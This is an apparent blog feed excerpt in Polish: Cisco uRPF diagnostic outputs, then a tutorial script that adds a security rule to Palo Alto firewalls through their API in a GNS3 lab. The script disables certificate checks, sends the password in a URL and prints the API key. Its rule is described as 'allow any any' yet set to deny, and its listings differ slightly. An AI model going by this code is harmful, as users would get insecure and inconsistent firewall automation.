					<div class="elementor-text-editor elementor-clearfix"><p><strong>PODSUMOWANIE</strong></p><p>uRFP jest jednym z mechanizmów ochrony przed fałszowaniem źródłowego adresu IP i powinno być wykorzystywane jeśli tylko jest taka możlwość. Dodatkowe komendy przydatne przy diagnozowani problemów z uRPF to:</p><pre><strong>R1#show ip traffic</strong><br />IP statistics:<br />  Rcvd:  298 total, 296 local destination<br />         0 format errors, 0 checksum errors, 0 bad hop count<br />         0 unknown protocol, 0 not a gateway<br />         0 security failures, 0 bad options, 0 with options<br />  Opts:  0 end, 0 nop, 0 basic security, 0 loose source route<br />         0 timestamp, 0 extended security, 0 record route<br />         0 stream ID, 0 strict source route, 0 alert, 0 cipso, 0 ump<br />         0 other<br />  Frags: 0 reassembled, 0 timeouts, 0 couldn't reassemble<br />         0 fragmented, 0 fragments, 0 couldn't fragment<br />  Bcast: 0 received, 0 sent<br />  Mcast: 255 received, 285 sent<br />  Sent:  332 generated, 0 forwarded<br />  Drop:  0 encapsulation failed, 0 unresolved, 0 no adjacency<br />         0 no route, 7 unicast RPF, 0 forced drop, 0 unsupported-addr<br />         0 options denied, 0 source IP address zero</pre><pre><strong>R1#show cef interface f0/0</strong><br />FastEthernet0/0 is up (if_number 2)<br />  Corresponding hwidb fast_if_number 2<br />  Corresponding hwidb firstsw-&gt;if_number 2<br />  Internet address is 192.168.12.1/24<br />  ICMP redirects are always sent<br />  Per packet load-sharing is disabled<br />  IP unicast RPF check is enabled<br />  Input features: uRPF<br />  IP policy routing is disabled<br />  BGP based policy accounting on input is disabled<br />  BGP based policy accounting on output is disabled<br />  Hardware idb is FastEthernet0/0<br />  Fast switching type 1, interface type 18<br />  IP CEF switching enabled<br />  IP CEF switching turbo vector<br />  IP CEF turbo switching turbo vector<br />  IP prefix lookup IPv4 mtrie 8-8-8-8 optimized<br />  Input fast flags 0x4000, Output fast flags 0x0<br />  ifindex 2(2)<br />  Slot  Slot unit 0 VC -1<br />  IP MTU 1500<br /><br /></pre><pre><strong>R1#show cef interface f1/0</strong><br />FastEthernet1/0 is up (if_number 3)<br />  Corresponding hwidb fast_if_number 3<br />  Corresponding hwidb firstsw-&gt;if_number 3<br />  Internet address is 192.168.13.1/24<br />  ICMP redirects are always sent<br />  Per packet load-sharing is disabled<br />  IP unicast RPF check is enabled<br />  Input features: uRPF<br />  IP policy routing is disabled<br />  BGP based policy accounting on input is disabled<br />  BGP based policy accounting on output is disabled<br />  Hardware idb is FastEthernet1/0<br />  Fast switching type 1, interface type 18<br />  IP CEF switching enabled<br />  IP CEF switching turbo vector<br />  IP CEF turbo switching turbo vector<br />  IP prefix lookup IPv4 mtrie 8-8-8-8 optimized<br />  Input fast flags 0x4000, Output fast flags 0x0<br />  ifindex 3(3)<br />  Slot  Slot unit 0 VC -1<br />  IP MTU 1500</pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
						</div>
			</div>
		</div>
		]]></content:encoded>
			<wfw:commentRss>https://kubsoo.github.io/rsnet-website/urpf-unicast-reverse-path-forwarding/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Palo Alto API tworzenie reguł &#8211; Python skrypt</title>
		<link>https://kubsoo.github.io/rsnet-website/palo-alto-api-reguly-python-skrypt/</link>
		<comments>https://kubsoo.github.io/rsnet-website/palo-alto-api-reguly-python-skrypt/#respond</comments>
		<pubDate>Mon, 19 Mar 2018 19:33:04 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Poradnik]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[palo alto]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[skrypt]]></category>

		<guid isPermaLink="false">https://kubsoo.github.io/rsnet-website/?p=1030</guid>
		<description><![CDATA[Korzystając z API możemy na firewallach Palo Alto dodawać reguły bezpieczeństwa bez konieczności otwierania interfejsu do zarządzania i tworzenia reguł wybierając odpowiednie opcje z menu.   ŚRODOWISKO Do celów demonstracji&#46;&#46;&#46;]]></description>
				<content:encoded><![CDATA[		<div class="elementor elementor-1030">
			<div class="elementor-inner">
				<div class="elementor-section-wrap">
							<section data-id="b4f5b76" class="elementor-element elementor-element-b4f5b76 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="e876d39" class="elementor-element elementor-element-e876d39 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="93d42a5" class="elementor-element elementor-element-93d42a5 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Korzystając z API możemy na firewallach Palo Alto dodawać reguły bezpieczeństwa bez konieczności otwierania interfejsu do zarządzania i tworzenia reguł wybierając odpowiednie opcje z menu.</span></p><p style="text-align: justify;"><span style="color: #000000;"> </span></p><h5><span style="color: #000000;">ŚRODOWISKO</span></h5><p style="text-align: justify;"><span style="color: #000000;">Do celów demonstracji możliwości tworzenia reguł bezpieczeństwa przy pomocy API na urządzeniach Palo Alto posłużyłem się topologią zbudowaną w GNS3, tą samą co w tym <a href="https://kubsoo.github.io/rsnet-website/palo-alto-api-backup-konfiguracji-python-skrypt/" title="">wpisie</a>. </span></p><p><strong><span style="color: #000000;">TOPOLOGIA</span></strong></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="c4f19c4" class="elementor-element elementor-element-c4f19c4 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="d5954f2" class="elementor-element elementor-element-d5954f2 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="fbbda61" class="elementor-element elementor-element-fbbda61 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/topology_1.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-0" data-rl_title="" data-rl_caption="" title="">
							<img width="605" height="452" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/topology_1.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/topology_1.png 605w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/topology_1-300x224.png 300w" sizes="(max-width: 605px) 100vw, 605px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="5fc70e6" class="elementor-element elementor-element-5fc70e6 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="d958656" class="elementor-element elementor-element-d958656 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="aa607b2" class="elementor-element elementor-element-aa607b2 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"> </p><h5><span style="color: #000000;">SKRYPT</span></h5></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="fed1942" class="elementor-element elementor-element-fed1942 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="296c5ed" class="elementor-element elementor-element-296c5ed elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="6e95d2c" class="elementor-element elementor-element-6e95d2c elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Skrypt tworzący regułę bezpieczeństwa, przenoszący ją w odpowiednie miejsce a na końcu robiący commit zmian wygląda następująco:</span></p><p style="text-align: justify;"><strong style="background-color: initial;">config_palo.py</strong></p><pre>#!/usr/bin/python<br /><br />import requests, getpass, re<br /><br />## list of firewalls<br />firewalls_ip = [<br /> '192.168.0.201',<br /> '192.168.0.202',<br /> '192.168.0.203',<br />]<br /><br />## login and password for firewall<br />username = raw_input("Please enter your username: ") <br />password = getpass.getpass("Please enter your password: ")<br /><br />## generate api key<br />url = "https://192.168.0.201/api/?type=keygen&amp;user={}&amp;password={}"<br />response = requests.get(url.format(username,password), verify=False)<br />response.raise_for_status()<br />regex = re.compile(r'&lt;key&gt;(.*)&lt;\/key&gt;')<br />key = regex.findall(response.text)[0]<br />print ("\nYour API key is: %s\n") % (key)<br /><br />rule_path = "/config/devices/entry[@name='localhost.localdomain']/vsys/entry[@name='vsys1']/rulebase/security/rules"<br />rule_name = "permit_any"<br /><br />rule = """<br /> &lt;entry name="{}"&gt;<br /> &lt;to&gt;<br /> &lt;member&gt;any&lt;/member&gt;<br /> &lt;/to&gt;<br /> &lt;from&gt;<br /> &lt;member&gt;any&lt;/member&gt;<br /> &lt;/from&gt;<br /> &lt;source&gt;<br /> &lt;member&gt;any&lt;/member&gt;<br /> &lt;/source&gt;<br /> &lt;destination&gt;<br /> &lt;member&gt;any&lt;/member&gt;<br /> &lt;/destination&gt;<br /> &lt;source-user&gt;<br /> &lt;member&gt;any&lt;/member&gt;<br /> &lt;/source-user&gt;<br /> &lt;category&gt;<br /> &lt;member&gt;any&lt;/member&gt;<br /> &lt;/category&gt;<br /> &lt;application&gt;<br /> &lt;member&gt;any&lt;/member&gt;<br /> &lt;/application&gt;<br /> &lt;service&gt;<br /> &lt;member&gt;any&lt;/member&gt;<br /> &lt;/service&gt;<br /> &lt;hip-profiles&gt;<br /> &lt;member&gt;any&lt;/member&gt;<br /> &lt;/hip-profiles&gt;<br /> &lt;action&gt;deny&lt;/action&gt;<br /> &lt;log-start&gt;no&lt;/log-start&gt;<br /> &lt;description&gt;permit any any rule&lt;/description&gt;<br /> &lt;disabled&gt;no&lt;/disabled&gt;<br /> &lt;/entry&gt;<br />"""<br /><br />for ip in firewalls_ip:<br /><br /> print ("Adding security rule to: %s\n") % (ip)<br /> url = "https://"+ip+"/api/?type=config&amp;action=set&amp;key={}&amp;xpath={}&amp;element={}"<br /><br /> response = requests.post(url.format(key,rule_path,rule.format(rule_name)), verify=False)<br /> response.raise_for_status()<br /> print (response.text)<br /><br /> print ("Moving security rule ...\n")<br /> move = raw_input("Do you want to move security rule ? (y/n) ")<br /> if move == "y":<br />  rule_pos = raw_input("Insert rule name after which you want to place new rule: ")<br />  url = "https://"+ip+"/api/?type=config&amp;action=move&amp;key={}&amp;xpath={}/entry[@name='{}']&amp;where=after&amp;dst={}"<br />  response = requests.get(url.format(key,rule_path,rule_name,rule_pos), verify=False)<br />  response.raise_for_status()<br />  print (response.text)<br /><br /> print ("Commiting changes ...\n")<br /> commit = raw_input("Are you sure you want to commit ? (y/n) ")<br /> if commit == "y":<br />  url = "https://"+ip+"/api/?type=commit&amp;key={}&amp;cmd=&lt;commit&gt;&lt;/commit&gt;"<br />  commit_response = requests.post(url.format(key),verify=False)<br />  commit_response.raise_for_status()<br />  print (response.text)<br /> else:<br />  print ("Commit cancelled !\n")</pre><p>Cały skrypt można ściągnąć pod tym <a href="https://gist.github.com/kubsoo/cf5880a46bd69300c746f8daaf27859e" title="">linkiem</a>.</p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="7888aac" class="elementor-element elementor-element-7888aac elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="14d378d" class="elementor-element elementor-element-14d378d elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="8a09ec2" class="elementor-element elementor-element-8a09ec2 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p><strong>Opis skryptu:</strong></p><ol><li>Lista IP z firewallami na których chcemy stworzyć regułę bezpieczeństwa:</li></ol><pre>firewalls_ip = [<br /> '192.168.0.201',<br /> '192.168.0.202',<br /> '192.168.0.203',<br />]</pre><p style="text-align: justify;">2. Stworzenie klucza API KEY przy pomocy logowania użytkownikiem i hasłem do jednego z firewalli z listy (pod warunkiem ze na każdym FW mamy tego samego użytkownika i hasło, w innym przypadku klucz musimy generować dla każdego z FW osobno)</p><pre>## login and password for firewall<br />username = raw_input("Please enter your username: ") <br />password = getpass.getpass("Please enter your password: ")<br /><br />## generate api key<br />url = "https://192.168.0.201/api/?type=keygen&amp;user={}&amp;password={}"<br />response = requests.get(url.format(username,password), verify=False)<br />response.raise_for_status()<br />regex = re.compile(r'(.*)&lt;\/key&gt;')<br />key = regex.findall(response.text)[0]<br />print ("\nYour API key is: %s\n") % (key)</pre><p>3. Stworzenie zmiennej o nazwie &#8222;rule&#8221; zawierającej regułę w postaci xml. Można taką regułę odczytać z pliku xml z konfiguracją. W powyższym skrypcie reguła zezwala na cały ruch z każdej strefy i każdego adresu do każdej strefy i do każdego adresu (allow any any)</p><pre>rule_path = "/config/devices/entry[@name='localhost.localdomain']/vsys/entry[@name='vsys1']/rulebase/security/rules"<br />rule_name = "permit_any"<br /><br />rule = """<br /> &lt;entry name="{}"&gt;<br /> &lt;to&gt;<br /> &lt;member&gt;any&lt;/member&gt;<br /> &lt;/to&gt;<br /> &lt;from&gt;<br /> &lt;member&gt;any&lt;/member&gt;<br /> &lt;/from&gt;<br /> &lt;source&gt;<br /> &lt;member&gt;any&lt;/member&gt;<br /> &lt;/source&gt;<br /> &lt;destination&gt;<br /> &lt;member&gt;any&lt;/member&gt;<br /> &lt;/destination&gt;<br /> &lt;source-user&gt;<br /> &lt;member&gt;any&lt;/member&gt;<br /> &lt;/source-user&gt;<br /> &lt;category&gt;<br /> &lt;member&gt;any&lt;/member&gt;<br /> &lt;/category&gt;<br /> &lt;application&gt;<br /> &lt;member&gt;any&lt;/member&gt;<br /> &lt;/application&gt;<br /> &lt;service&gt;<br /> &lt;member&gt;any&lt;/member&gt;<br /> &lt;/service&gt;<br /> &lt;hip-profiles&gt;<br /> &lt;member&gt;any&lt;/member&gt;<br /> &lt;/hip-profiles&gt;<br /> &lt;action&gt;deny&lt;/action&gt;<br /> &lt;log-start&gt;no&lt;/log-start&gt;<br /> &lt;description&gt;permit any any rule&lt;/description&gt;<br /> &lt;disabled&gt;no&lt;/disabled&gt;<br /> &lt;/entry&gt;<br />"""</pre><p>4. Tworzenie reguły dla każdego firewalla z listy firewalls_ip:</p><pre>for ip in firewalls_ip:<br /><br />  print ("Adding security rule to: %s\n") % (ip)<br />  url = "https://"+ip+"/api/?type=config&amp;action=set&amp;key={}&amp;xpath={}&amp;element={}"<br /> <br />  response = requests.post(url.format(key,rule_path,rule.format(rule_name)), verify=False)<br />  response.raise_for_status()<br />  print (response.text)</pre><p style="text-align: justify;">5. Reguła stworzona w poprzednim punkcie jest tworzona i dodawana do konfiguracji na końcu. Zmianę miejsca reguły realizuje poniższy fragment skryptu:</p><pre> print ("Moving security rule ...\n")<br /> move = raw_input("Do you want to move security rule ? (y/n) ")<br /> if move == "y":<br />   rule_pos = raw_input("Insert rule name after which you want to place new rule: ")<br />   url = "https://"+ip+"/api/?type=config&amp;action=move&amp;key={}&amp;xpath={}/entry[@name='{}']&amp;where=after&amp;dst={}"<br />   response = requests.get(url.format(key,rule_path,rule_name,rule_pos), verify=False)<br />   response.raise_for_status()<br />   print (response.text)</pre><p>6. Commit zmian:</p><pre> print ("Commiting changes ...\n")<br /> commit = raw_input("Are you sure you want to commit ? (y/n) ")<br /> <br /> if commit == "y":<br />   url = "https://"+ip+"/api/?type=commit&amp;key={}&amp;cmd=&lt;commit&gt;&lt;/commit&gt;"<br />   commit_response = requests.post(url.format(key),verify=False)<br />   commit_response.raise_for_status()<br />   print (response.text)<br /> else:<br />   print ("Commit cancelled !\n")</pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="bd3186f" class="elementor-element elementor-element-bd3186f elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="fce5906" class="elementor-element elementor-element-fce5906 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="48ab48e" class="elementor-element elementor-element-48ab48e elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p><span style="color: #000000;">Sprawdźmy działanie skryptu w praktyce:</span></p><p style="text-align: justify;"><span style="color: #000000;">Na początek sprawdźmy jak wygląda zakładka Policies -&gt; Security na każdym z firewalli:</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="e3aba3c" class="elementor-element elementor-element-e3aba3c elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="d98d96f" class="elementor-element elementor-element-d98d96f elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="8edb747" class="elementor-element elementor-element-8edb747 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_1.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-1" data-rl_title="" data-rl_caption="" title="">
							<img width="720" height="203" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_1.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_1.png 1006w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_1-300x85.png 300w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_1-768x217.png 768w" sizes="(max-width: 720px) 100vw, 720px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="05fcb24" class="elementor-element elementor-element-05fcb24 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="f6ae8ac" class="elementor-element elementor-element-f6ae8ac elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="8aa0650" class="elementor-element elementor-element-8aa0650 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_2.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-2" data-rl_title="" data-rl_caption="" title="">
							<img width="720" height="184" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_2.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_2.png 1012w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_2-300x77.png 300w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_2-768x197.png 768w" sizes="(max-width: 720px) 100vw, 720px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="833427e" class="elementor-element elementor-element-833427e elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="e5e9c85" class="elementor-element elementor-element-e5e9c85 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="f2611b5" class="elementor-element elementor-element-f2611b5 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_3.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-3" data-rl_title="" data-rl_caption="" title="">
							<img width="720" height="186" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_3.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_3.png 1016w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_3-300x77.png 300w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_3-768x198.png 768w" sizes="(max-width: 720px) 100vw, 720px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="df5b664" class="elementor-element elementor-element-df5b664 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="48038e8" class="elementor-element elementor-element-48038e8 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="5de83d6" class="elementor-element elementor-element-5de83d6 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"> </p><p style="text-align: justify;">Teraz uruchamiamy skrypt&#8230;</p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="e7c6fc3" class="elementor-element elementor-element-e7c6fc3 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="1beea1b" class="elementor-element elementor-element-1beea1b elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="b0baaf8" class="elementor-element elementor-element-b0baaf8 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><pre id="code" class="brush: text; plain-text"><strong>root@NetworkAutomation-1:~# ./config_palo.py</strong>
Please enter your username: admin
Please enter your password:
/usr/local/lib/python2.7/dist-packages/urllib3/connectionpool.py:858: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)

Your API key is: LUFRPT14MW5xOEo1R09KVlBZNnpnemh0VHRBOWl6TGM9bXcwM3JHUGVhRlNiY0dCR0srNERUQT09

Adding security rule to: 192.168.0.201

/usr/local/lib/python2.7/dist-packages/urllib3/connectionpool.py:858: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
&lt;response status="success" code="20"&gt;&lt;msg&gt;command succeeded&lt;/msg&gt;&lt;/response&gt;
Moving security rule ...

Do you want to move security rule ? (y/n) n
Commiting changes ...

Are you sure you want to commit ? (y/n) y
/usr/local/lib/python2.7/dist-packages/urllib3/connectionpool.py:858: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
&lt;response status="success" code="20"&gt;&lt;msg&gt;command succeeded&lt;/msg&gt;&lt;/response&gt;
Adding security rule to: 192.168.0.202

/usr/local/lib/python2.7/dist-packages/urllib3/connectionpool.py:858: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
&lt;response status="success" code="20"&gt;&lt;msg&gt;command succeeded&lt;/msg&gt;&lt;/response&gt;
Moving security rule ...

Do you want to move security rule ? (y/n) n
Commiting changes ...

Are you sure you want to commit ? (y/n) y
/usr/local/lib/python2.7/dist-packages/urllib3/connectionpool.py:858: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
&lt;response status="success" code="20"&gt;&lt;msg&gt;command succeeded&lt;/msg&gt;&lt;/response&gt;
Adding security rule to: 192.168.0.203

/usr/local/lib/python2.7/dist-packages/urllib3/connectionpool.py:858: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
&lt;response status="success" code="20"&gt;&lt;msg&gt;command succeeded&lt;/msg&gt;&lt;/response&gt;
Moving security rule ...

Do you want to move security rule ? (y/n) n
Commiting changes ...

Are you sure you want to commit ? (y/n) y
/usr/local/lib/python2.7/dist-packages/urllib3/connectionpool.py:858: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
&lt;response status="success" code="20"&gt;&lt;msg&gt;command succeeded&lt;/msg&gt;&lt;/response&gt;</pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="e5b9742" class="elementor-element elementor-element-e5b9742 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="d779413" class="elementor-element elementor-element-d779413 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="c630b88" class="elementor-element elementor-element-c630b88 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Skrypt wykonał się z ostrzeżeniami, ale możemy je zignorować. Pojawiły się one, ponieważ wszystkie urządzenia posiadają domyślne certyfikaty, które nie są zaufane.</span></p><p style="text-align: justify;"><span style="font-family: Georgia, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400;">Zobaczmy teraz jak wyglądają polityki bezpieczeństwa po działaniu skryptu:</span></p><p style="text-align: justify;"> </p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="f4fbd90" class="elementor-element elementor-element-f4fbd90 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="e30f7a1" class="elementor-element elementor-element-e30f7a1 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="586a554" class="elementor-element elementor-element-586a554 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_1_1.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-4" data-rl_title="" data-rl_caption="" title="">
							<img width="720" height="203" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_1_1.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_1_1.png 1010w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_1_1-300x85.png 300w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_1_1-768x217.png 768w" sizes="(max-width: 720px) 100vw, 720px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="799ee64" class="elementor-element elementor-element-799ee64 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="862f2a7" class="elementor-element elementor-element-862f2a7 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="2aafdf5" class="elementor-element elementor-element-2aafdf5 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_2_1.png" data-elementor-open-lightbox="default" data-rel="lightbox-image-5" data-rl_title="" data-rl_caption="" title="">
